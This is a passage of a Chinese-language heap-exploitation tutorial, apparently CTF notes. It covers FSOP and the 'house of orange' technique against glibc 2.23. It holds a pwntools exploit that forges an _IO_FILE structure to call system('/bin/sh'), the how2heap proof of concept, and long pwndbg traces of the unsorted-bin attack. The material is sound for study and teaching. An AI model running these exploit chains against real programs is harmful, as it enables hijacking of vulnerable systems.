#define vtable_offset 0xd8 ->system&onegadget
payload = '/bin/sh'.ljust(32, 'x00') + p64(0) + p64(1)#0x30
payload += p64(0)*4 + p64(system)*4 #p64(libc_base+0x4526a)*4#0x50-0x70
payload = payload.ljust(0xd8, 'x00')
payload += p64(IO_2_1_stderr+0x40)
edit('an', payload)
#dbg()
sleep(0.5)
# step4:exit
command('a') # 随便输入一个,让程序退出,触发_IO_flush_all_lockp。(不知道为什么如果进4是拿不到shell的)
sleep(0.5)
#p.sendline('exec 1>&0')
itr()
利用pwn_debug构造fake_file
......
from pwn_debug import *
context(log_level='debug',arch='amd64') #,terminal=['tmux','sp','-h']) 相对于上面的exp,添加arch
......
# step1: leak addr
command(666)
puts_addr = int(r(14),16)
leak("puts_addr",puts_addr)
libc_base = puts_addr-libc.sym['puts']
leak("libc_base",libc_base)
# IO_list_all=libc_base+libc.sym['_IO_list_all']
# log.info("IO_list_all:"+hex(IO_list_all))
IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_base
leak("IO_2_1_stderr", IO_2_1_stderr)
system=libc_base+libc.sym['system']
leak("system", system)
#dbg()
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_
payload = 'a'*8 + p64(IO_2_1_stderr)
add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0
#dbg()
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_
#define writebase_offset 0x20 ->0
#define writeptr_offset 0x28 ->1
#define mode_offset 0xc0 ->0
#define vtable_offset 0xd8 ->system&onegadget
#payload = '/bin/sh'.ljust(32, 'x00') + p64(0) + p64(1)#0x30
#payload += p64(0)*4 + p64(system)*4 #p64(libc_base+0x4526a)*4#0x50-0x70
#payload = payload.ljust(0xd8, 'x00')
#payload += p64(IO_2_1_stderr+0x40)
libc.address = libc_base # 除了得到libc基址后分别计算其他地址外,还可以直接将真实地址赋值给libc.address,其他地址只要sym就可以了
fake_file=IO_FILE_plus() # 需要在前面设置 context.arch='amd64',不然默认是i386
fake_file._flags = 0x0068732f6e69622f
fake_file._IO_write_base = 0
fake_file._IO_write_ptr = 1
fake_file._mode = 0
#fake_file._IO_save_end = system
fake_file._IO_save_end = libc.sym["system"]
#fake_file.vtable = IO_2_1_stderr+0x40
fake_file.vtable = libc.sym["_IO_2_1_stderr_"]+0x40
fake_file.show() # 打印fake file的结构
#dbg()
#edit('an', payload)
edit('an',str(fake_file))
#dbg()
sleep(0.5)
# step4:exit
command('a')
sleep(0.5)
#p.sendline('exec 1>&0')
p.interactive()
三
house of orange
< 2.26
原理为:堆溢出 + size(top chunk)<size(request) + unsorted bin attack + fsop
house of orange攻击的主要思路是利用unsorted bin attack修改_IO_list_all指针,并伪造_IO_FILE_plus结构体及其vtable(虚函数表)来劫持控制流。
利用过程:
在_IO_FILE_plus结构体中,_chain的偏移为0x68,而top chunk之后为0x8单位的last_remainder,接下来为unsorted bin的fd与bk指针,共0x10大小,再之后为small bin中的指针(每个small bin有fd与bk指针,共0x10个单位),剩下0x50的单位,从smallbin[0]正好分配到smallbin[4](准确说为其fd字段),大小就是从0x20到0x60,而smallbin[4]的fd字段中的内容为该链表中最靠近表头的small bin的地址 (chunk header),因此0x60的small bin的地址即为fake struct的_chain中的内容,只需要控制该0x60的small bin(以及其下面某些堆块)中的部分内容,即可进行FSOP。
利用条件
堆溢出漏洞
能修改top chunk的size。
-
分配的chunk大小小于0x20000,大于top chunk的size
-
top chunk大小大于MINSIZE
-
top chunk的inuse等于1
-
top chunk的大小要对齐到内存页
能修改bk ->unsortedbin attack -> 任意地址写 -> 修改IO_list_all的内容。
能在top chunk伪造IO_FILE和vtable。
能泄露chunk的内容 -> 泄露libc某个地址 -> 泄露出_IO_list_all的地址。
3.1 how2heap
// gcc house_of_orange.c -g -o house_of_orange
int winner ( char *ptr);
int main()
{
char *p1, *p2;
size_t io_list_all, *top;
// 首先 malloc 一块 0x400 大小的 chunk
p1 = malloc(0x400-16);
// 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
// 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2 = malloc(0x1000);
// 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址
io_list_all = top[2] + 0x9a8;
// 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[3] = io_list_all - 0x10;
// 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char *) top, "/bin/shx00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE *) top;
// 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
// 将_IO_OVERFLOW 改为 system 函数的地址
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner;
// 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
// 执行malloc中的攻击链
malloc(10);
return 0;
}
int winner(char *ptr)
{
system(ptr);
return 0;
}
调试分析
泄露_IO_list_all的地址
1.分配一个chunk
// 首先 malloc 一块 0x400 大小的 chunk
p1 = malloc(0x400-16);
heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x401
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0x20c01 <-- 0x20c00+0x400 = 0x21000 (页对齐(0x1000))
2.溢出修改top chunk的size
// 假设存在堆溢出,把 top chunk 的 size 给改为一个比较小的 0xc01
top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;
p top
(size_t *) 0x602400 =
heap
Allocated chunk | PREV_INUSE
Addr: 0x602000
Size: 0x401
Top chunk | PREV_INUSE
Addr: 0x602400
Size: 0xc01
p top
(size_t *) 0x602400 =
x/4gx 0x602400
0x602400: 0x0000000000000000 0x0000000000000c01 <-- 0xc00+0x400 = 0x1000 页对齐
0x602410: 0x0000000000000000 0x0000000000000000
3.malloc一个更大的chunk时,将top chunk释放到unsortedbin中
// 再malloc一个更大的chunk时,因top chunk不够大,所以会把现在的top chunk给free掉,称它为 old top chunk
p2 = malloc(0x1000);
bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x602400 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602400
smallbins
empty
largebins
empty
x/4gx (char*)(&main_arena)+88
0x7ffff7dd1b78 <main_arena+88>: 0x0000000000624010 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602400 0x0000000000602400
x/4gx 0x602400
0x602400: 0x0000000000000000 0x0000000000000be1
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- old top chunk的fd和bk都存储unsoredbin地址
heap的变化如下所示:
// 溢出修改top的size前
0x602000 0x602400 0x623000
|------------|------...-------------|
| chunk | Top ... |
|------------|------...-------------|
heap start heap end
// 溢出修改top的size后
0x602000 0x602400 0x603000 0x623000
|------------|------..------|--...--|
| chunk | Top .. | ... |
|------------|------..------|--...--|
heap start heap end
// malloc(0x1000)后
0x602000 0x602400 0x603000 0x623000 0x624010
|------------|------..------|--...--|---------|-----..----|
| chunk | Top(free) .. | ... | chunk p2| new Top |
|------------|------..------|--...--|---------|-----..----|
heap start new heap end
4.泄露出_IO_list_all的地址
// 此时top[2]和top[3]是unsortedbin的地址,_IO_list_all和unsortedbin的偏移是0x9a8,计算得到 _IO_list_all的地址
io_list_all = top[2] + 0x9a8;
p/x io_list_all
16 = 0x7ffff7dd2520
为unsortedbin attack作准备
回顾unsortedbin attack,从unsorted bin中取出chunk时,会执行以下代码:
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) // 将最后一个chunk(victim)取出
{
bck = victim->bk; // bck为倒数第二个chunk
......
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck; // 若发生攻击,则unsortedbin的bk设置成了改写的victim->bk
bck->fd = unsorted_chunks (av); // 把倒数第二个chunk的fd设置为unsorted_chunks(av)
......
所以,如果将victim的bk改写为某个地址,则可以向这个地址+0x10(即为bck->fd)的地方写入unsortedbin的地址(&main_arena+88)
5.为unsortedbin attack作准备,将old top chunk的bk指针为 io_list_all – 0x10
// 假设存在堆溢出,设置old top chunk的bk指针为 io_list_all - 0x10,待会进行 unsortedbin attack,把 _IO_list_all 改为 unsortedbin 的地址
top[3] = io_list_all - 0x10;
pwndbg> x/4gx top
0x602400: 0x0000000000000000 0x0000000000000be1
0x602410: 0x00007ffff7dd1b78 0x00007ffff7dd2510
为fsop作准备
回顾fsop:
_IO_flush_all_lockp 中调用_IO_OVERFLOW的条件,根据短路原理可知需满足:
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
FSOP攻击条件:
6.为fsop作准备
前面unsortedbin attack可将_IO_list_all指针的值修改为main_arena+88。但这还不够,因为我们很难控制main_arena中的数据,并不能在mode、_IO_write_ptr和_IO_write_base的对应偏移处构造出合适的值。
所以将目光转向_IO_FILE的链表特性。_IO_flush_all_lockp函数会通过fp = fp->_chain不断的寻找下一个_IO_FILE。
所以如果可以修改fp->_chain到一个我们伪造好的_IO_FILE的地址,那么就可以成功实现利用了。
巧妙的是,_IO_FILE结构中的_chain字段对应偏移是0x68,而在main_arena+88对应偏移为0x68的地址正好是大小为0x60的small bin的bk,而由于我们能通过溢出漏洞改old top chunk的size,所以在将其链入smallbin[0x60]之后,就可以实现如下图所示的攻击链。
// 将字符串/bin/sh放到 old top chunk 的开头,并且把 size 改为 0x61,这里改为 0x61 是因为这个大小属于 smallbin[4],它与 unsortedbin 的偏移,跟 _chain 与 io_list_all 的偏移一样
memcpy( ( char *) top, "/bin/shx00", 8);
top[1] = 0x61;
_IO_FILE *fp = (_IO_FILE *) top;
// 为调用_IO_OVERFLOW需满足一些检查,包括:fp->_mode = 0、_IO_write_base 小于 _IO_write_ptr
fp->_mode = 0;
fp->_IO_write_base = (char *) 2;
fp->_IO_write_ptr = (char *) 3;
// 将_IO_OVERFLOW 改为 system 函数的地址
size_t *jump_table = &top[12];
jump_table[3] = (size_t) &winner;
// 把 io_list_all 的 vatble 改为我们想让他找的那个虚函数表
*(size_t *) ((size_t) fp + sizeof(_IO_FILE)) = (size_t) jump_table;
p *((struct _IO_FILE_plus*)0x602400) # 查看布局之后的old top chunk
{ =
file = {
_flags = 1852400175, <-- _flags = "/bin/sh"
_IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>,
_IO_read_end = 0x7ffff7dd1b78 <main_arena+88> " 20@b",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x2 <error: Cannot access memory at address 0x2>, <-- fp->_IO_write_ptr > fp->_IO_write_base
_IO_write_ptr = 0x3 <error: Cannot access memory at address 0x3>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0, <-- top[12] / jump_table[0]
_chain = 0x0, <-- jump_table[1]
_fileno = 0, <-- jump_table[2]
_flags2 = 0,
_old_offset = 4196051, <-- jump_table[3]
_cur_column = 0,
_vtable_offset = 0 ' 00',
_shortbuf = "",
_lock = 0x0,
_offset = 0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0, <-- fp->_mode <= 0
_unused2 = ' 00' <repeats 19 times>
},
vtable = 0x602460 <-- vtable = &top[12]
}
x/gx 0x602400
0x602400: 0x0068732f6e69622f
x/s 0x602400
0x602400: "/bin/sh"
发起攻击
// 执行malloc中的攻击链:
// malloc中第一次大for循环:old_top_chunk从unsortedbin脱链(unsortedbin attack)
// -> old_top_chunk 插入0x60大小对应的smallbin(将main_arena+88为起始地址的IO_FILE结构体中的chain修改为&old_top_chunk)
// -> malloc中第二次大for循环:unsortedbin->bk不等于自身(unsortedbin attack攻击结果),而其size为0,检查的时候触发异常,调用malloc_printerr,进而调用_IO_flush_all_lockp,导致fsop。
malloc(10);
7.unsortedbin attack实施
pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio
Source directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd
pwndbg> dir /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc
Source directories searched: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc:/home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio:$cdir:$cwd
pwndbg> p _IO_list_all
$29 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_>
pwndbg> p &_IO_list_all # 打印_IO_list_all地址
$30 = (struct _IO_FILE_plus **) 0x7ffff7dd2520 <_IO_list_all>
pwndbg> wa *0x7ffff7dd2520 # 在_IO_list_all设置硬件断点
Hardware watchpoint 2: *0x7ffff7dd2520
pwndbg> c
Continuing.
Hardware watchpoint 2: *0x7ffff7dd2520
Old value = -136501952
New value = -136504456 # main_arena+88
_int_malloc (av=av@entry=0x7ffff7dd1b20 <main_arena>, bytes=bytes@entry=10) at malloc.c:3527
warning: Source file is more recent than executable.
3527 if (size == nb)
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
*RAX 0x7fffffffdbdf ◂— 0x0
*RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001
*RCX 0x7c
*RDX 0x7ffff7dd1b28 (main_arena+8) ◂— 0x0
*RDI 0x7fffffffdbe0 ◂— 0x0
*RSI 0x60
R8 0x623000 ◂— 0x0
R9 0x0
R10 0x46c
R11 0x7ffff7b5afa0 (__memcpy_avx_unaligned) ◂— mov rax, rdi
*R12 0x2710
*R13 0x7ffff7dd1b78 (main_arena+88) —▸ 0x624010 ◂— 0x0
*R14 0x602400 ◂— 0x68732f6e69622f /* '/bin/sh' */
*R15 0x7ffff7dd2510 ◂— 0x0
*RBP 0x20
*RSP 0x7fffffffdb60 ◂— 0x7fff00000002
*RIP 0x7ffff7a8ee3c (_int_malloc+684) ◂— je 0x7ffff7a8f2e8
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
► 0x7ffff7a8ee3c <_int_malloc+684> je _int_malloc+1880 <_int_malloc+1880>
0x7ffff7a8ee42 <_int_malloc+690> cmp rsi, 0x3ff
0x7ffff7a8ee49 <_int_malloc+697> jbe _int_malloc+536 <_int_malloc+536>
↓
0x7ffff7a8eda8 <_int_malloc+536> mov ecx, esi
0x7ffff7a8edaa <_int_malloc+538> shr ecx, 4
0x7ffff7a8edad <_int_malloc+541> lea eax, [rcx + rcx - 2]
0x7ffff7a8edb1 <_int_malloc+545> cdqe
0x7ffff7a8edb3 <_int_malloc+547> lea rax, [rbx + rax*8 + 0x60]
0x7ffff7a8edb8 <_int_malloc+552> mov rdi, qword ptr [rax + 8]
0x7ffff7a8edbc <_int_malloc+556> lea r8, [rax - 8]
0x7ffff7a8edc0 <_int_malloc+560> mov eax, ecx
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc/malloc.c
3522 unsorted_chunks (av)->bk = bck;
3523 bck->fd = unsorted_chunks (av);
3524
3525 /* Take now instead of binning if exact fit */
3526
► 3527 if (size == nb) <------------------------ unsortedbin attack攻击结束
3528 {
3529 set_inuse_bit_at_offset (victim, size);
3530 if (av != &main_arena)
3531 victim->size |= NON_MAIN_ARENA;
3532 check_malloced_chunk (av, victim, nb);
──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdb60 ◂— 0x7fff00000002
01:0008│ 0x7fffffffdb68 ◂— 0xa /* 'n' */
02:0010│ 0x7fffffffdb70 —▸ 0x7fffffffdbe0 ◂— 0x0
03:0018│ 0x7fffffffdb78 —▸ 0x7ffff7b5048b (_dl_addr+443) ◂— add rsp, 0x28
04:0020│ 0x7fffffffdb80 ◂— 0x0
05:0028│ 0x7fffffffdb88 —▸ 0x7fffffffdbe8 —▸ 0x7ffff7fd9000 —▸ 0x7ffff7a0d000 ◂— jg 0x7ffff7a0d047
06:0030│ 0x7fffffffdb90 ◂— 0xffff800000002421 /* '!$' */
07:0038│ 0x7fffffffdb98 —▸ 0x7fffffffdbdf ◂— 0x0
────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
► f 0 7ffff7a8ee3c _int_malloc+684
f 1 7ffff7a911d4 malloc+84
f 2 4006cc main+246
f 3 7ffff7a2d840 __libc_start_main+240
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> p _IO_list_all # unsortedbin attack攻击成功,_IO_list_all的值变成了main_arena+88
$31 = (struct _IO_FILE_plus *) 0x7ffff7dd1b78 <main_arena+88>
8.查看修改top[1] = 0x61;的结果:unsortedbin所在地址 + 0x68(smallbin[0x60]->bk)变成&old_top_chunk
前面通过溢出将位于unsorted bin中的chunk(old top chunk的部分)的size修改为0x61。那么在这一次malloc的时候,因为在其他bin中都没有合适的chunk,malloc进入大循环,把unsorted bin中的chunk插入到对应的small bin或large bin中。第7步是将old_top_chunk从unsortedbin脱下来,接下来就是将其插入0x60大小的smallbin中了。同时,该small bin的fd和bk都会变为此chunk的地址。
大循环里将从unsortedbin脱下来的chunk插入smallbin的代码如下:
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb) // 和申请的大小不匹配,不走进去
{
......
}
/* place chunk in bin */
if (in_smallbin_range (size)) // 走这
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index); // bck指向对应index的smallbin的prev_size
fwd = bck->fd; // 若smallbin里没有chunk,则其fd和bk都是指向其prev_size的,看下面调试
}
else
{
......
}
mark_bin (av, victim_index); // 然后走这
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
接着步骤7,单步调试,走到mark_bin (av, victim_index);:
pwndbg> p victim # victim 还是old_top_chunk
$37 = (mchunkptr) 0x602400
pwndbg> p fwd # 若smallbin里没有chunk,则其fd和bk都是指向其prev_size的
$38 = (mchunkptr) 0x7ffff7dd1bc8 <main_arena+168>
pwndbg> p bck # bck指向对应index的smallbin的prev_size,看下面,和unsortedbin的偏移是0x50,
$39 = (mchunkptr) 0x7ffff7dd1bc8 <main_arena+168>
pwndbg> p victim_index
$40 = 6
pwndbg> p (char*)&main_arena+88 # unsortedbin地址
$41 = 0x7ffff7dd1b78 <main_arena+88> " 20@b"
pwndbg> p/x 0x7ffff7dd1bc8-0x7ffff7dd1b78 # bck和它的偏移是0x50
$42 = 0x50
pwndbg> x/20gx 0x7ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x0000000000624010 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602400 0x00007ffff7dd2510 <-- smallbin[0x20]
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88 <-- smallbin[0x30]
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98 <-- smallbin[0x40]
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8 <-- smallbin[0x50]
0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8 <-- smallbin[0x60]
0x7ffff7dd1bd8 <main_arena+184>: 0x00007ffff7dd1bc8 0x00007ffff7dd1bc8 <-- smallbin[0x60]的fd和bk
0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8
0x7ffff7dd1bf8 <main_arena+216>: 0x00007ffff7dd1be8 0x00007ffff7dd1be8
0x7ffff7dd1c08 <main_arena+232>: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
继续单步调试,走完bck->fd = victim;
pwndbg> p fwd->bk
$43 = (struct malloc_chunk *) 0x602400 # 可以看到smallbin[0x60]的bk已经改成old_top_chunk
pwndbg> p bck->fd
$44 = (struct malloc_chunk *) 0x602400 # 可以看到smallbin[0x60]的fd已经改成old_top_chunk
pwndbg> x/20gx 0x7ffff7dd1b78
0x7ffff7dd1b78 <main_arena+88>: 0x0000000000624010 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602400 0x00007ffff7dd2510
0x7ffff7dd1b98 <main_arena+120>: 0x00007ffff7dd1b88 0x00007ffff7dd1b88
0x7ffff7dd1ba8 <main_arena+136>: 0x00007ffff7dd1b98 0x00007ffff7dd1b98
0x7ffff7dd1bb8 <main_arena+152>: 0x00007ffff7dd1ba8 0x00007ffff7dd1ba8
0x7ffff7dd1bc8 <main_arena+168>: 0x00007ffff7dd1bb8 0x00007ffff7dd1bb8
0x7ffff7dd1bd8 <main_arena+184>: 0x0000000000602400 0x0000000000602400 #可看到smallbin[0x60]的fd/bk已被修改为old_top_chunk
0x7ffff7dd1be8 <main_arena+200>: 0x00007ffff7dd1bd8 0x00007ffff7dd1bd8
0x7ffff7dd1bf8 <main_arena+216>: 0x00007ffff7dd1be8 0x00007ffff7dd1be8
0x7ffff7dd1c08 <main_arena+232>: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8
pwndbg> p victim->bk
$45 = (struct malloc_chunk *) 0x7ffff7dd1bc8 <main_arena+168>
pwndbg> p victim->fd
$46 = (struct malloc_chunk *) 0x7ffff7dd1bc8 <main_arena+168>
pwndbg> p *((struct _IO_FILE_plus*)0x7ffff7dd1b78)
$47 = {
file = {
_flags = 6438928,
_IO_read_ptr = 0x0,
_IO_read_end = 0x602400 "/bin/sh",
_IO_read_base = 0x7ffff7dd2510 "",
_IO_write_base = 0x7ffff7dd1b88 <main_arena+104> "",
_IO_write_ptr = 0x7ffff7dd1b88 <main_arena+104> "",
_IO_write_end = 0x7ffff7dd1b98 <main_arena+120> "210 33335367377177",
_IO_buf_base = 0x7ffff7dd1b98 <main_arena+120> "210 33335367377177",
_IO_buf_end = 0x7ffff7dd1ba8 <main_arena+136> "230 33335367377177",
_IO_save_base = 0x7ffff7dd1ba8 <main_arena+136> "230 33335367377177",
_IO_backup_base = 0x7ffff7dd1bb8 <main_arena+152> "250 33335367377177",
_IO_save_end = 0x7ffff7dd1bb8 <main_arena+152> "250 33335367377177",
_markers = 0x602400, #可看到smallbin[0x60]的fd/bk对应FILE结构体里的_markers和_chain
_chain = 0x602400, # _chain已被修改为old_top_chunk
_fileno = -136504360,
_flags2 = 32767,
_old_offset = 140737351850968,
_cur_column = 7144,
_vtable_offset = -35 '335',
_shortbuf = <incomplete sequence 367>,
_lock = 0x7ffff7dd1be8 <main_arena+200>,
_offset = 140737351851000,
_codecvt = 0x7ffff7dd1bf8 <main_arena+216>,
_wide_data = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_list = 0x7ffff7dd1c08 <main_arena+232>,
_freeres_buf = 0x7ffff7dd1c18 <main_arena+248>,
__pad5 = 140737351851032,
_mode = -136504280,
_unused2 = "377177 00 00( 34335367377177 00 00 70 34335367377177 00"
},
vtable = 0x7ffff7dd1c38 <main_arena+280>
}
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all [corrupted]
FD: 0x602400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x602400
BK: 0x7ffff7dd2510 ◂— 0x0
smallbins
0x60: 0x602400 —▸ 0x7ffff7dd1bc8 (main_arena+168) ◂— 0x602400
largebins
empty
此时,IO_list_all、IO_FILE(main_arena+88)、IO_FILE(old_top_chunk)三者已经链接起来了,接下来就只需要触发_IO_flush_all_lockp -> __overflow就可以了。
9.触发_IO_flush_all_lockp
for循环结束一次,接着进行第二次循环。由于unsortedbin attack的时候破坏了unsorted bin的链表结构,所以接下来的分配过程会出现错误,系统调用malloc_printerr去打印错误信息,从而被劫持流程,执行到winner,然后由winner执行system函数:
for (;; )
{
int iters = 0;
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption", <-- 这里会触发_IO_flush_all_lockp
chunk2mem (victim), av);
调试:
pwndbg>
3481 malloc_printerr (check_action, "malloc(): memory corruption",
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
────────────────────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────────────────────
RAX 0x0
RBX 0x7ffff7dd1b20 (main_arena) ◂— 0x100000001
RCX 0x6
RDX 0x40
RDI 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
RSI 0x0
R8 0x7ffff7dd1bc8 (main_arena+168) —▸ 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x7ffff7dd1ba8 (main_arena+136) —▸ 0x7ffff7dd1b98 (main_arena+120) —▸ 0x7ffff7dd1b88 (main_arena+104) ◂— ...
R9 0x0
R10 0x46c
R11 0x7ffff7b5afa0 (__memcpy_avx_unaligned) ◂— mov rax, rdi
R12 0x270f
R13 0x7ffff7dd1b78 (main_arena+88) —▸ 0x624010 ◂— 0x0
R14 0x7ffff7dd2510 ◂— 0x0
R15 0x0
RBP 0x20
RSP 0x7fffffffdb60 ◂— 0x7fff00000002
*RIP 0x7ffff7a8ef60 (_int_malloc+976) ◂— mov r10d, dword ptr [rip + 0x3421e9]
──────────────────────────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────────────────────────
► 0x7ffff7a8ef60 <_int_malloc+976> mov r10d, dword ptr [rip + 0x3421e9] <0x7ffff7dd1150>
0x7ffff7a8ef67 <_int_malloc+983> or dword ptr [rbx + 4], 4
0x7ffff7a8ef6b <_int_malloc+987> mov eax, r10d
0x7ffff7a8ef6e <_int_malloc+990> and eax, 5
0x7ffff7a8ef71 <_int_malloc+993> cmp eax, 5
0x7ffff7a8ef74 <_int_malloc+996> je _int_malloc+2173 <_int_malloc+2173>
0x7ffff7a8ef7a <_int_malloc+1002> test r10b, 1
0x7ffff7a8ef7e <_int_malloc+1006> jne _int_malloc+1312 <_int_malloc+1312>
↓
0x7ffff7a8f0b0 <_int_malloc+1312> mov rax, qword ptr [rsp + 0x10]
0x7ffff7a8f0b5 <_int_malloc+1317> lea rdi, [r14 + 0x10]
0x7ffff7a8f0b9 <_int_malloc+1321> xor ecx, ecx
──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────
In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/malloc/malloc.c
3476 while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
3477 {
3478 bck = victim->bk;
3479 if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
3480 || __builtin_expect (victim->size > av->system_mem, 0))
► 3481 malloc_printerr (check_action, "malloc(): memory corruption",
3482 chunk2mem (victim), av);
3483 size = chunksize (victim);
3484
3485 /*
3486 If a small request, try to use last remainder if it is the
──────────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdb60 ◂— 0x7fff00000002
01:0008│ 0x7fffffffdb68 ◂— 0xa /* 'n' */
02:0010│ 0x7fffffffdb70 —▸ 0x7fffffffdbe0 ◂— 0x0
03:0018│ 0x7fffffffdb78 —▸ 0x7ffff7b5048b (_dl_addr+443) ◂— add rsp, 0x28
04:0020│ 0x7fffffffdb80 ◂— 0x0
05:0028│ 0x7fffffffdb88 —▸ 0x7fffffffdbe8 —▸ 0x7ffff7fd9000 —▸ 0x7ffff7a0d000 ◂— jg 0x7ffff7a0d047
06:0030│ 0x7fffffffdb90 ◂— 0xffff800000002421 /* '!$' */
07:0038│ 0x7fffffffdb98 —▸ 0x7fffffffdbdf ◂— 0x0
────────────────────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────────────────────
► f 0 7ffff7a8ef60 _int_malloc+976
f 1 7ffff7a911d4 malloc+84
f 2 4006cc main+246
f 3 7ffff7a2d840 __libc_start_main+240
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/4gx (char*)&main_arena+88 # 打印main_arena+88的情况,查看victim
0x7ffff7dd1b78 <main_arena+88>: 0x0000000000624010 0x0000000000000000
0x7ffff7dd1b88 <main_arena+104>: 0x0000000000602400 0x00007ffff7dd2510 <-- 0x00007ffff7dd2510就是victim
# unsortedbin attack的时候将_IO_list_all-0x10给了unsortedbin->bk,所以victim就是_IO_list_all-0x10
pwndbg> x/4gx (char*)&_IO_list_all-0x10
0x7ffff7dd2510: 0x0000000000000000 0x0000000000000000 # victim的size为0,触发异常
